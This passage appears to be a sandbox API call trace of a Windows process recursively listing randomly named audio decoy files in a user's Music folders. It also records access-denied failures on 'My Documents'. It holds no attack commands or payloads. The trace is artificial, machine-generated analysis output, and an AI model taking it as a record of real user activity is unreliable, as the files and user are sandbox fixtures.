ftLastWriteTime.dwHighDateTime=0x1d5c5ae, nFileSizeHigh=0x0, nFileSizeLow=0x18486, dwReserved0=0x0, dwReserved1=0x0, cFileName="cJBdV0PmiKTLkOAQ3w.wav", cAlternateFileName="")) returned 1 [0090.905] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0090.905] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0090.905] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0090.906] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0090.906] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0090.906] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f5d78 [0090.906] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1350278 [0090.907] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0090.907] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x596d3c60, ftCreationTime.dwHighDateTime=0x1d5c3ac, ftLastAccessTime.dwLowDateTime=0xb6378f00, ftLastAccessTime.dwHighDateTime=0x1d5bae1, ftLastWriteTime.dwLowDateTime=0xb6378f00, ftLastWriteTime.dwHighDateTime=0x1d5bae1, nFileSizeHigh=0x0, nFileSizeLow=0xcea1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cz5bLRinEH.wav", cAlternateFileName="")) returned 1 [0090.907] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0090.907] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0090.907] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0090.908] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0090.908] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0090.908] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f5d98 [0090.908] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1350380 [0090.908] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0090.909] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32b09a30, ftCreationTime.dwHighDateTime=0x1d5b840, ftLastAccessTime.dwLowDateTime=0xaa6e75c0, ftLastAccessTime.dwHighDateTime=0x1d5c26c, ftLastWriteTime.dwLowDateTime=0xaa6e75c0, ftLastWriteTime.dwHighDateTime=0x1d5c26c, nFileSizeHigh=0x0, nFileSizeLow=0xbd33, dwReserved0=0x0, dwReserved1=0x0, cFileName="mrdWb3KIWAElDX.wav", cAlternateFileName="")) returned 1 [0090.909] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0090.909] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0090.909] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0090.909] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0090.909] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0090.910] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f5db8 [0090.910] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1350488 [0090.910] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0090.910] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdfeec2a0, ftCreationTime.dwHighDateTime=0x1d5bc80, ftLastAccessTime.dwLowDateTime=0xa93e5350, ftLastAccessTime.dwHighDateTime=0x1d5b76d, ftLastWriteTime.dwLowDateTime=0xa93e5350, ftLastWriteTime.dwHighDateTime=0x1d5b76d, nFileSizeHigh=0x0, nFileSizeLow=0x165ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="Oi4-wbbAXg1 vgZgY4i.m4a", cAlternateFileName="")) returned 1 [0090.910] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0090.911] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0090.911] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0090.911] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0090.911] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0090.912] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f5dd8 [0090.912] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1350590 [0090.912] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0090.912] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55d88ce0, ftCreationTime.dwHighDateTime=0x1d5b938, ftLastAccessTime.dwLowDateTime=0xc107d750, ftLastAccessTime.dwHighDateTime=0x1d5c3d3, ftLastWriteTime.dwLowDateTime=0xc107d750, ftLastWriteTime.dwHighDateTime=0x1d5c3d3, nFileSizeHigh=0x0, nFileSizeLow=0xef5d, dwReserved0=0x0, dwReserved1=0x0, cFileName="YJSdKVZs7k9qXGMz.wav", cAlternateFileName="")) returned 1 [0090.912] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0090.913] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0090.913] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0090.913] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0090.913] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0090.914] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f5df8 [0090.914] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1350698 [0090.914] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0090.914] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f01d620, ftCreationTime.dwHighDateTime=0x1d5b683, ftLastAccessTime.dwLowDateTime=0x6ad6c1a0, ftLastAccessTime.dwHighDateTime=0x1d5b9c6, ftLastWriteTime.dwLowDateTime=0x6ad6c1a0, ftLastWriteTime.dwHighDateTime=0x1d5b9c6, nFileSizeHigh=0x0, nFileSizeLow=0x48d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="_ZkHw7NHl.mp3", cAlternateFileName="")) returned 1 [0090.914] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0090.915] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0090.915] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0090.915] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0090.915] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0090.916] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f5e18 [0090.916] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13507a0 [0090.916] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0090.916] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f01d620, ftCreationTime.dwHighDateTime=0x1d5b683, ftLastAccessTime.dwLowDateTime=0x6ad6c1a0, ftLastAccessTime.dwHighDateTime=0x1d5b9c6, ftLastWriteTime.dwLowDateTime=0x6ad6c1a0, ftLastWriteTime.dwHighDateTime=0x1d5b9c6, nFileSizeHigh=0x0, nFileSizeLow=0x48d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="_ZkHw7NHl.mp3", cAlternateFileName="")) returned 0 [0090.916] GetLastError () returned 0x12 [0090.916] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Jj c_2QZ5BKu\\apk-QG\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e8f40 [0090.917] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0090.918] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc938be40, ftCreationTime.dwHighDateTime=0x1d5b8dd, ftLastAccessTime.dwLowDateTime=0xc8814030, ftLastAccessTime.dwHighDateTime=0x1d5c2c4, ftLastWriteTime.dwLowDateTime=0xc8814030, ftLastWriteTime.dwHighDateTime=0x1d5c2c4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.919] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3565e240, ftCreationTime.dwHighDateTime=0x1d5bd3a, ftLastAccessTime.dwLowDateTime=0x469b75a0, ftLastAccessTime.dwHighDateTime=0x1d5bbac, ftLastWriteTime.dwLowDateTime=0x469b75a0, ftLastWriteTime.dwHighDateTime=0x1d5bbac, nFileSizeHigh=0x0, nFileSizeLow=0x4926, dwReserved0=0x0, dwReserved1=0x0, cFileName="1eJbw.mp3", cAlternateFileName="")) returned 1 [0090.919] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0458a30, ftCreationTime.dwHighDateTime=0x1d5b9ec, ftLastAccessTime.dwLowDateTime=0x25198130, ftLastAccessTime.dwHighDateTime=0x1d5c30c, ftLastWriteTime.dwLowDateTime=0x25198130, ftLastWriteTime.dwHighDateTime=0x1d5c30c, nFileSizeHigh=0x0, nFileSizeLow=0x13a6f, dwReserved0=0x0, dwReserved1=0x0, cFileName="6QCXK5d-FRK.m4a", cAlternateFileName="")) returned 1 [0090.919] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4df6cb0, ftCreationTime.dwHighDateTime=0x1d5c247, ftLastAccessTime.dwLowDateTime=0x21d246b0, ftLastAccessTime.dwHighDateTime=0x1d5b62d, ftLastWriteTime.dwLowDateTime=0x21d246b0, ftLastWriteTime.dwHighDateTime=0x1d5b62d, nFileSizeHigh=0x0, nFileSizeLow=0x14a80, dwReserved0=0x0, dwReserved1=0x0, cFileName="8n0DpBtljHd6OHjAP.mp3", cAlternateFileName="")) returned 1 [0090.919] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa10fdec0, ftCreationTime.dwHighDateTime=0x1d5b66d, ftLastAccessTime.dwLowDateTime=0x637bf470, ftLastAccessTime.dwHighDateTime=0x1d5b78c, ftLastWriteTime.dwLowDateTime=0x637bf470, ftLastWriteTime.dwHighDateTime=0x1d5b78c, nFileSizeHigh=0x0, nFileSizeLow=0x11a0d, dwReserved0=0x0, dwReserved1=0x0, cFileName="9lCeeANPB3kKPt.m4a", cAlternateFileName="")) returned 1 [0090.919] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38845050, ftCreationTime.dwHighDateTime=0x1d5bdea, ftLastAccessTime.dwLowDateTime=0xb3a2900, ftLastAccessTime.dwHighDateTime=0x1d5c5ae, ftLastWriteTime.dwLowDateTime=0xb3a2900, ftLastWriteTime.dwHighDateTime=0x1d5c5ae, nFileSizeHigh=0x0, nFileSizeLow=0x18486, dwReserved0=0x0, dwReserved1=0x0, cFileName="cJBdV0PmiKTLkOAQ3w.wav", cAlternateFileName="")) returned 1 [0090.919] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x596d3c60, ftCreationTime.dwHighDateTime=0x1d5c3ac, ftLastAccessTime.dwLowDateTime=0xb6378f00, ftLastAccessTime.dwHighDateTime=0x1d5bae1, ftLastWriteTime.dwLowDateTime=0xb6378f00, ftLastWriteTime.dwHighDateTime=0x1d5bae1, nFileSizeHigh=0x0, nFileSizeLow=0xcea1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cz5bLRinEH.wav", cAlternateFileName="")) returned 1 [0090.919] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32b09a30, ftCreationTime.dwHighDateTime=0x1d5b840, ftLastAccessTime.dwLowDateTime=0xaa6e75c0, ftLastAccessTime.dwHighDateTime=0x1d5c26c, ftLastWriteTime.dwLowDateTime=0xaa6e75c0, ftLastWriteTime.dwHighDateTime=0x1d5c26c, nFileSizeHigh=0x0, nFileSizeLow=0xbd33, dwReserved0=0x0, dwReserved1=0x0, cFileName="mrdWb3KIWAElDX.wav", cAlternateFileName="")) returned 1 [0090.919] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdfeec2a0, ftCreationTime.dwHighDateTime=0x1d5bc80, ftLastAccessTime.dwLowDateTime=0xa93e5350, ftLastAccessTime.dwHighDateTime=0x1d5b76d, ftLastWriteTime.dwLowDateTime=0xa93e5350, ftLastWriteTime.dwHighDateTime=0x1d5b76d, nFileSizeHigh=0x0, nFileSizeLow=0x165ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="Oi4-wbbAXg1 vgZgY4i.m4a", cAlternateFileName="")) returned 1 [0090.919] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55d88ce0, ftCreationTime.dwHighDateTime=0x1d5b938, ftLastAccessTime.dwLowDateTime=0xc107d750, ftLastAccessTime.dwHighDateTime=0x1d5c3d3, ftLastWriteTime.dwLowDateTime=0xc107d750, ftLastWriteTime.dwHighDateTime=0x1d5c3d3, nFileSizeHigh=0x0, nFileSizeLow=0xef5d, dwReserved0=0x0, dwReserved1=0x0, cFileName="YJSdKVZs7k9qXGMz.wav", cAlternateFileName="")) returned 1 [0090.919] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f01d620, ftCreationTime.dwHighDateTime=0x1d5b683, ftLastAccessTime.dwLowDateTime=0x6ad6c1a0, ftLastAccessTime.dwHighDateTime=0x1d5b9c6, ftLastWriteTime.dwLowDateTime=0x6ad6c1a0, ftLastWriteTime.dwHighDateTime=0x1d5b9c6, nFileSizeHigh=0x0, nFileSizeLow=0x48d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="_ZkHw7NHl.mp3", cAlternateFileName="")) returned 1 [0090.919] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f01d620, ftCreationTime.dwHighDateTime=0x1d5b683, ftLastAccessTime.dwLowDateTime=0x6ad6c1a0, ftLastAccessTime.dwHighDateTime=0x1d5b9c6, ftLastWriteTime.dwLowDateTime=0x6ad6c1a0, ftLastWriteTime.dwHighDateTime=0x1d5b9c6, nFileSizeHigh=0x0, nFileSizeLow=0x48d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="_ZkHw7NHl.mp3", cAlternateFileName="")) returned 0 [0090.919] GetLastError () returned 0x12 [0090.920] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa6c8) returned 1 [0090.920] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0090.920] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x134fd50) returned 1 [0090.920] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa398) returned 1 [0090.920] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43b94490, ftCreationTime.dwHighDateTime=0x1d5c3c0, ftLastAccessTime.dwLowDateTime=0x55e14b40, ftLastAccessTime.dwHighDateTime=0x1d5b61e, ftLastWriteTime.dwLowDateTime=0x55e14b40, ftLastWriteTime.dwHighDateTime=0x1d5b61e, nFileSizeHigh=0x0, nFileSizeLow=0xdc3, dwReserved0=0x0, dwReserved1=0x0, cFileName="DRUlepJ.wav", cAlternateFileName="")) returned 1 [0090.920] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78a4a030, ftCreationTime.dwHighDateTime=0x1d5bc2e, ftLastAccessTime.dwLowDateTime=0x78fad9d0, ftLastAccessTime.dwHighDateTime=0x1d5c46e, ftLastWriteTime.dwLowDateTime=0x78fad9d0, ftLastWriteTime.dwHighDateTime=0x1d5c46e, nFileSizeHigh=0x0, nFileSizeLow=0x5522, dwReserved0=0x0, dwReserved1=0x0, cFileName="G7ZOFrXPOI5znkgBX.mp3", cAlternateFileName="")) returned 1 [0090.920] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x862ebb40, ftCreationTime.dwHighDateTime=0x1d5bbb2, ftLastAccessTime.dwLowDateTime=0xc4cfa7b0, ftLastAccessTime.dwHighDateTime=0x1d5b8f1, ftLastWriteTime.dwLowDateTime=0xc4cfa7b0, ftLastWriteTime.dwHighDateTime=0x1d5b8f1, nFileSizeHigh=0x0, nFileSizeLow=0xc5a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="hJXo.m4a", cAlternateFileName="")) returned 1 [0090.920] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a62b040, ftCreationTime.dwHighDateTime=0x1d5c25d, ftLastAccessTime.dwLowDateTime=0xe43b1b90, ftLastAccessTime.dwHighDateTime=0x1d5b69c, ftLastWriteTime.dwLowDateTime=0xe43b1b90, ftLastWriteTime.dwHighDateTime=0x1d5b69c, nFileSizeHigh=0x0, nFileSizeLow=0x10952, dwReserved0=0x0, dwReserved1=0x0, cFileName="v9lcTOr8Z5Q.m4a", cAlternateFileName="")) returned 1 [0090.920] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43d840e0, ftCreationTime.dwHighDateTime=0x1d5be73, ftLastAccessTime.dwLowDateTime=0x64aba8b0, ftLastAccessTime.dwHighDateTime=0x1d5c23e, ftLastWriteTime.dwLowDateTime=0x64aba8b0, ftLastWriteTime.dwHighDateTime=0x1d5c23e, nFileSizeHigh=0x0, nFileSizeLow=0x15edb, dwReserved0=0x0, dwReserved1=0x0, cFileName="yjnr.m4a", cAlternateFileName="")) returned 1 [0090.920] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43d840e0, ftCreationTime.dwHighDateTime=0x1d5be73, ftLastAccessTime.dwLowDateTime=0x64aba8b0, ftLastAccessTime.dwHighDateTime=0x1d5c23e, ftLastWriteTime.dwLowDateTime=0x64aba8b0, ftLastWriteTime.dwHighDateTime=0x1d5c23e, nFileSizeHigh=0x0, nFileSizeLow=0x15edb, dwReserved0=0x0, dwReserved1=0x0, cFileName="yjnr.m4a", cAlternateFileName="")) returned 0 [0090.920] GetLastError () returned 0x12 [0090.921] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1326c48) returned 1 [0090.921] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0090.921] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x134c7b0) returned 1 [0090.921] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1c30) returned 1 [0090.921] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50efe460, ftCreationTime.dwHighDateTime=0x1d5b58e, ftLastAccessTime.dwLowDateTime=0xed8921f0, ftLastAccessTime.dwHighDateTime=0x1d5c476, ftLastWriteTime.dwLowDateTime=0xed8921f0, ftLastWriteTime.dwHighDateTime=0x1d5c476, nFileSizeHigh=0x0, nFileSizeLow=0x130eb, dwReserved0=0x0, dwReserved1=0x0, cFileName="kfN1z5GDLGs.wav", cAlternateFileName="")) returned 1 [0090.921] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5711b3c0, ftCreationTime.dwHighDateTime=0x1d5b604, ftLastAccessTime.dwLowDateTime=0x490eb3a0, ftLastAccessTime.dwHighDateTime=0x1d5b8fb, ftLastWriteTime.dwLowDateTime=0x490eb3a0, ftLastWriteTime.dwHighDateTime=0x1d5b8fb, nFileSizeHigh=0x0, nFileSizeLow=0x3c88, dwReserved0=0x0, dwReserved1=0x0, cFileName="PgzErx50-YtBRfhfD.wav", cAlternateFileName="")) returned 1 [0090.921] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82686bd0, ftCreationTime.dwHighDateTime=0x1d5b93e, ftLastAccessTime.dwLowDateTime=0xbd27cf20, ftLastAccessTime.dwHighDateTime=0x1d5b6bb, ftLastWriteTime.dwLowDateTime=0xbd27cf20, ftLastWriteTime.dwHighDateTime=0x1d5b6bb, nFileSizeHigh=0x0, nFileSizeLow=0x13881, dwReserved0=0x0, dwReserved1=0x0, cFileName="RgVmA64S-R.mp3", cAlternateFileName="")) returned 1 [0090.921] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22c2e370, ftCreationTime.dwHighDateTime=0x1d5c52f, ftLastAccessTime.dwLowDateTime=0xa13fc1c0, ftLastAccessTime.dwHighDateTime=0x1d5b704, ftLastWriteTime.dwLowDateTime=0xa13fc1c0, ftLastWriteTime.dwHighDateTime=0x1d5b704, nFileSizeHigh=0x0, nFileSizeLow=0x2ad8, dwReserved0=0x0, dwReserved1=0x0, cFileName="whFkSPL.m4a", cAlternateFileName="")) returned 1 [0090.921] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55a6e230, ftCreationTime.dwHighDateTime=0x1d5c5f4, ftLastAccessTime.dwLowDateTime=0xaf5226b0, ftLastAccessTime.dwHighDateTime=0x1d5bcca, ftLastWriteTime.dwLowDateTime=0xaf5226b0, ftLastWriteTime.dwHighDateTime=0x1d5bcca, nFileSizeHigh=0x0, nFileSizeLow=0x13901, dwReserved0=0x0, dwReserved1=0x0, cFileName="xtxw1LHQv95kQBYM.m4a", cAlternateFileName="")) returned 1 [0090.921] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55a6e230, ftCreationTime.dwHighDateTime=0x1d5c5f4, ftLastAccessTime.dwLowDateTime=0xaf5226b0, ftLastAccessTime.dwHighDateTime=0x1d5bcca, ftLastWriteTime.dwLowDateTime=0xaf5226b0, ftLastWriteTime.dwHighDateTime=0x1d5bcca, nFileSizeHigh=0x0, nFileSizeLow=0x13901, dwReserved0=0x0, dwReserved1=0x0, cFileName="xtxw1LHQv95kQBYM.m4a", cAlternateFileName="")) returned 0 [0090.921] GetLastError () returned 0x12 [0090.922] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efde8) returned 1 [0090.922] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0090.922] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efd60) returned 1 [0090.922] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0090.922] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x290dda00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x290dda00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x290dda00, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Documents", cAlternateFileName="")) returned 1 [0090.922] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0090.923] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\my documents"), fInfoLevelId=0x0, lpFileInformation=0x119f3c0 | out: lpFileInformation=0x119f3c0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x290dda00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x290dda00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x290dda00, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0090.923] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\my documents"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffff [0090.923] GetLastError () returned 0x5 [0090.923] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0090.924] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0090.924] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa398 [0090.924] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa6c8 [0090.924] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0xffffffff [0090.924] GetLastError () returned 0x5 [0090.924] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0xffffffff [0090.924] 